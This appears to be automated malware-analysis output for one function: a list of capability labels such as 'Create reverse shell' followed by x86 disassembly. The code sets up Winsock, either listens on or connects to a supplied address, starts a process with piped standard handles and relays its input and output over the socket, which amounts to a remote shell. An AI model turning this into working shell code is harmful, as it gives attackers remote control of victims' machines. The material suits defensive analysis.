Function at 0x4048c0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create pipe
Create process on windows
Create reverse shell
Create tcp socket
Create two anonymous pipes
Create udp socket
Download and write a file
Initialize winsock library
Read and send data from client to server
Read file on windows
Read pipe
Receive and write data from server to client
Receive data
Receive data on socket
Send data
Send data on socket
Set socket configuration
Start tcp server
Write and execute a file
Write file on windows
Write pipe

Disassembly:
sub esp, 0x230
push ebx
mov ebx, dword [esp + 0x238]
push ebp
push esi
cmp ebx, 2
push edi
jge 0x4048e6
call fcn.00404c50
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x230
ret
push ebx
push 0x42542c
mov dword [0x47e930], 0
call fcn.00406dd1
mov ebp, dword [esp + 0x250]
add esp, 8
test ebx, ebx
jle 0x404923
mov esi, ebp
mov edi, ebx
mov eax, dword [esi]
push eax
push 0x42519c
call fcn.00406dd1
add esp, 8
add esi, 4
dec edi
jne 0x40490d
mov ecx, dword [ebp + 4]
push 0x425834
push ecx
call fcn.0040b250
add esp, 8
test eax, eax
jne 0x404980
cmp ebx, 4
mov dword [0x47e930], 1
jge 0x404957
call fcn.00404c50
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x230
ret
mov edi, dword [ebp + 8]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov edx, ecx
mov esi, edi
mov edi, 0x47e52c
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov eax, dword [ebp + 0xc]
push eax
jmp 0x404984
mov ecx, dword [ebp + 4]
push ecx
call fcn.00406eda
add esp, 4
lea edx, [esp + 0xb0]
mov dword [0x47e92c], eax
push edx
push 0x101
call dword [sym.imp.WS2_32.dll_WSAStartup]
push 0x2000
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov ebp, 1
push 0
push ebp
push 2
mov edi, eax
call dword [sym.imp.WS2_32.dll_socket]
mov cx, word [0x47e92c]
mov ebx, eax
xor eax, eax
push ecx
mov dword [esp + 0x34], eax
mov dword [esp + 0x28], ebx
mov dword [esp + 0x38], eax
mov word [esp + 0x34], 2
mov dword [esp + 0x3c], eax
mov dword [esp + 0x40], eax
call dword [sym.imp.WS2_32.dll_htons]
lea edx, [esp + 0x28]
push 4
push edx
push 4
push 0xffff
push ebx
mov word [esp + 0x46], ax
mov dword [esp + 0x3c], ebp
call dword [sym.imp.WS2_32.dll_setsockopt]
mov eax, dword [0x47e930]
test eax, eax
jne 0x404a2e
lea eax, [esp + 0x30]
push 0x10
push eax
push ebx
call dword [sym.imp.WS2_32.dll_bind]
push 0
push ebx
call dword [sym.imp.WS2_32.dll_listen]
mov esi, dword [sym.imp.KERNEL32.dll_CreatePipe]
lea ecx, [esp + 0x40]
push 0
lea edx, [esp + 0x1c]
push ecx
lea eax, [esp + 0x1c]
push edx
push eax
mov dword [esp + 0x50], 0xc
mov dword [esp + 0x58], ebp
mov dword [esp + 0x54], 0
call esi
lea ecx, [esp + 0x40]
push 0
lea edx, [esp + 0x24]
push ecx
lea eax, [esp + 0x24]
push edx
push eax
call esi
lea ecx, [esp + 0x6c]
push ecx
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
mov eax, dword [esp + 0x18]
lea ecx, [esp + 0x6c]
mov dword [esp + 0xac], eax
mov dword [esp + 0xa8], eax
lea eax, [esp + 0x6c]
mov edx, dword [esp + 0x1c]
push eax
push ecx
push 0
push 0
push 0
push ebp
push 0
push 0
push 0x425830
push 0
mov dword [esp + 0xc0], 0x101
mov word [esp + 0xc4], 0
mov dword [esp + 0xcc], edx
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
mov edx, dword [esp + 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push edx
call esi
mov eax, dword [esp + 0x1c]
push eax
call esi
mov ebp, dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [0x47e930]
test eax, eax
je 0x404b42
push 0
mov ebx, 2
push 1
push ebx
call dword [sym.imp.WS2_32.dll_socket]
mov cx, word [0x47e92c]
mov esi, eax
push ecx
mov word [esp + 0x60], bx
mov word [esp + 0x50], bx
call dword [sym.imp.WS2_32.dll_htons]
push 0x47e52c
mov word [esp + 0x52], ax
call dword [sym.imp.WS2_32.dll_inet_addr]
lea edx, [esp + 0x4c]
push 0x10
push edx
push esi
mov dword [esp + 0x5c], eax
call dword [sym.imp.WS2_32.dll_connect]
mov ebx, dword [esp + 0x24]
jmp 0x404b5d
lea eax, [esp + 0x2c]
lea ecx, [esp + 0x5c]
push eax
push ecx
push ebx
mov dword [esp + 0x38], 0x10
call dword [sym.imp.WS2_32.dll_accept]
mov esi, eax
push 0x1f4
call ebp
mov eax, dword [esp + 0x14]
lea edx, [esp + 0x10]
push 0
push edx
push 0
push 0
push 0
push eax
call dword [sym.imp.KERNEL32.dll_PeekNamedPipe]
test eax, eax
je 0x404ae7
mov eax, dword [esp + 0x10]
test eax, eax
je 0x404bbf
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x10]
push 0
push ecx
push 0x2000
push edi
push edx
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x404ae7
mov eax, dword [esp + 0x10]
push 0
push eax
push edi
push esi
call dword [sym.imp.WS2_32.dll_send]
test eax, eax
jle 0x404c1a
push 0
push 0x2000
push edi
push esi
call dword [sym.imp.WS2_32.dll_recv]
test eax, eax
mov dword [esp + 0x10], eax
jle 0x404c1a
mov edx, dword [esp + 0x20]
lea ecx, [esp + 0x10]
push 0
push ecx
push eax
push edi
push edx
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x404c1a
push 0x1f4
call ebp
mov ecx, dword [esp + 0x14]
lea eax, [esp + 0x10]
push 0
push eax
push 0
push 0
push 0
push ecx
call dword [sym.imp.KERNEL32.dll_PeekNamedPipe]
test eax, eax
jne 0x404b84
jmp 0x404ae7
push esi
call dword [sym.imp.WS2_32.dll_closesocket]
mov edx, dword [esp + 0x20]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push edx
call esi
mov eax, dword [esp + 0x14]
push eax
call esi
push edi
call dword [sym.imp.KERNEL32.dll_GlobalFree]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x230
ret